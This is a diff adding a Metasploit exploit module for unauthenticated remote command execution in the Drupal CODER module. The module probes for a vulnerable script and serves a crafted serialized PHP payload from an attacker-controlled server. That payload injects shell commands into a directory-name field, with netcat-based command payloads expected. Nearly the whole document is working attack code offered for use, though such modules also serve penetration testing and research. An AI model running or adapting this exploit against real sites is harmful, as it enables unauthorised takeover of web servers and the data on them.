|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + include Msf::Exploit::Remote::HttpServer |
| 11 | + |
| 12 | + def initialize(info={}) |
| 13 | + super(update_info(info, |
| 14 | + 'Name' => 'Drupal CODER Module Remote Command Execution', |
| 15 | + 'Description' => %q{ |
| 16 | + This module exploits a Remote Command Execution vulnerability in |
| 17 | + Drupal CODER Module. Unauthenticated users can execute arbitrary command |
| 18 | + under the context of the web server user. |
| 19 | +
|
| 20 | + CODER module doesn't sufficiently validate user inputs in a script file |
| 21 | + that has the php extension. A malicious unauthenticated user can make |
| 22 | + requests directly to this file to execute arbitrary command. |
| 23 | + The module does not need to be enabled for this to be exploited |
| 24 | +
|
| 25 | + This module was tested against CODER 2.5 with Drupal 7.5 installation on Ubuntu server. |
| 26 | + }, |
| 27 | + 'License' => MSF_LICENSE, |
| 28 | + 'Author' => |
| 29 | + [ |
| 30 | + 'Nicky Bloor', # discovery |
| 31 | + 'Mehmet Ince <[email protected]>' # msf module |
| 32 | + ], |
| 33 | + 'References' => |
| 34 | + [ |
| 35 | + ['URL', 'https://www.drupal.org/node/2765575'] |
| 36 | + ], |
| 37 | + 'Privileged' => false, |
| 38 | + 'Payload' => |
| 39 | + { |
| 40 | + 'BadChars' => "\x00\x2f", |
| 41 | + 'Compat' => |
| 42 | + { |
| 43 | + 'PayloadType' => 'cmd', |
| 44 | + 'RequiredCmd' => 'netcat netcat-e' |
| 45 | + }, |
| 46 | + }, |
| 47 | + 'Platform' => ['unix'], |
| 48 | + 'Arch' => ARCH_CMD, |
| 49 | + 'Targets' => [ ['Automatic', {}] ], |
| 50 | + 'DisclosureDate' => 'Jul 13 2016', |
| 51 | + 'DefaultTarget' => 0 |
| 52 | + )) |
| 53 | + |
| 54 | + register_options( |
| 55 | + [ |
| 56 | + OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/']), |
| 57 | + OptString.new('SRVHOST', [true, 'Bogus web server host to receive request from target and deliver payload']), |
| 58 | + OptString.new('SRVPORT', [true, 'Bogus web server port to listen']), |
| 59 | + ] |
| 60 | + ) |
| 61 | + end |
| 62 | + |
| 63 | + def check |
| 64 | + res = send_request_cgi( |
| 65 | + 'method' => 'GET', |
| 66 | + 'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'), |
| 67 | + ) |
| 68 | + if res && res.code == 200 |
| 69 | + Exploit::CheckCode::Vulnerable |
| 70 | + else |
| 71 | + Exploit::CheckCode::Safe |
| 72 | + end |
| 73 | + end |
| 74 | + |
| 75 | + def on_request_uri(cli, _request) |
| 76 | + print_status("Incoming request detected...") |
| 77 | + p = '' |
| 78 | + p << 'a:6:{s:5:"paths";a:3:{s:12:"modules_base";s:8:"../../..";s:10:"files_base";s:5:"../..";s:14:"libraries_base";s:5:"../..";}' |
| 79 | + p << 's:11:"theme_cache";s:16:"theme_cache_test";' |
| 80 | + p << 's:9:"variables";s:14:"variables_test";' |
| 81 | + p << 's:8:"upgrades";a:1:{i:0;a:2:{s:4:"path";s:2:"..";s:6:"module";s:3:"foo";}}' |
| 82 | + p << 's:10:"extensions";a:1:{s:3:"php";s:3:"php";}' |
| 83 | + p << 's:5:"items";a:1:{i:0;a:3:{s:7:"old_dir";s:12:"../../images";' |
| 84 | + p << 's:7:"new_dir";s:' |
| 85 | + p << (payload.encoded.length + 14).to_s |
| 86 | + p << ':"f --help && ' |
| 87 | + p << payload.encoded |
| 88 | + p << ' #";s:4:"name";s:4:"test";}}}' |
| 89 | + print_status("Sending payload...") |
| 90 | + send_response(cli, p) |
| 91 | + end |
| 92 | + |
| 93 | + def exploit |
| 94 | + start_service |
| 95 | + send_request_cgi( |
| 96 | + 'method' => 'GET', |
| 97 | + 'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'), |
| 98 | + 'encode_params' => false, |
| 99 | + 'vars_get' => { |
| 100 | + 'file' => get_uri |
| 101 | + } |
| 102 | + ) |
| 103 | + stop_service |
| 104 | + end |
| 105 | +end |
0 commit comments